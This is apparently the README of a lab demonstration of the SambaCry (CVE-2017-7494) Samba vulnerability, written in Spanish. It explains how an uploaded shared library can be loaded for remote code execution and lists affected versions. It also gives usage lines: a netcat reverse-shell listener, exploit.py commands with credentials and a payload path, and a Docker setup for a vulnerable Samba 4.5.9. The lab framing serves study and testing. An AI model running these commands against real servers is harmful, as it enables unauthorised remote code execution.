
Explicación y demostración de explotación de SambaCry
CVE-2017-7494/SambaCry permite a usuarios autenticados subir una biblioteca compartida a una carpeta escribible y realizar un ataque de ejecución utilizando las bibliotecas subidas.
SambaCry es una vulnerabilidad de validación de rutas en la forma en que Samba maneja las solicitudes de named pipes. Normalmente, esas tuberías se utilizan para permitir que los programas se comuniquen entre sí leyendo y escribiendo datos a través de un canal con formato de archivo.
Cuando Samba recibe un nombre de tubería desconocido, las versiones vulnerables pueden tratarlo como el nombre de un módulo cargable dinámicamente.
Esos módulos suelen ser bibliotecas .so legítimas instaladas por el administrador.
La vulnerabilidad permite a un cliente proporcionar una ruta absoluta del sistema de archivos en lugar de un módulo normal o un nombre de tubería. Samba no restringe adecuadamente esta ruta y puede efectivamente ejecutar: dlopen("/data/example.so", ...);.
Cargar una biblioteca compartida ejecuta su código de inicialización. Por lo tanto, un atacante que pueda subir un archivo .so malicioso a una ubicación escribible puede hacer que el servicio Samba lo cargue, resultando en ejecución remota de código.
https://github.com/user-attachments/assets/270c6725-708d-4e72-996a-b6c40e77f010
nc -lvnp 4444
python3 exploit.py --url //127.0.0.1/data --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --lhost 172.26.242.223 --lport 4444 --remote-path /data/payload.so
Para ejecutar un payload ya subido:
python3 exploit.py --stages trigger --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --remote-path /data/payload.so
Usa el docker-compose.yml ya preparado para inicializar el laboratorio vulnerable.
docker compose up -d
El laboratorio usa Samba 4.5.9, que es vulnerable a esta vulnerabilidad.
3.5.0 - 4.4.13 4.5.0 - 4.5.9 4.6.0 - 4.6.3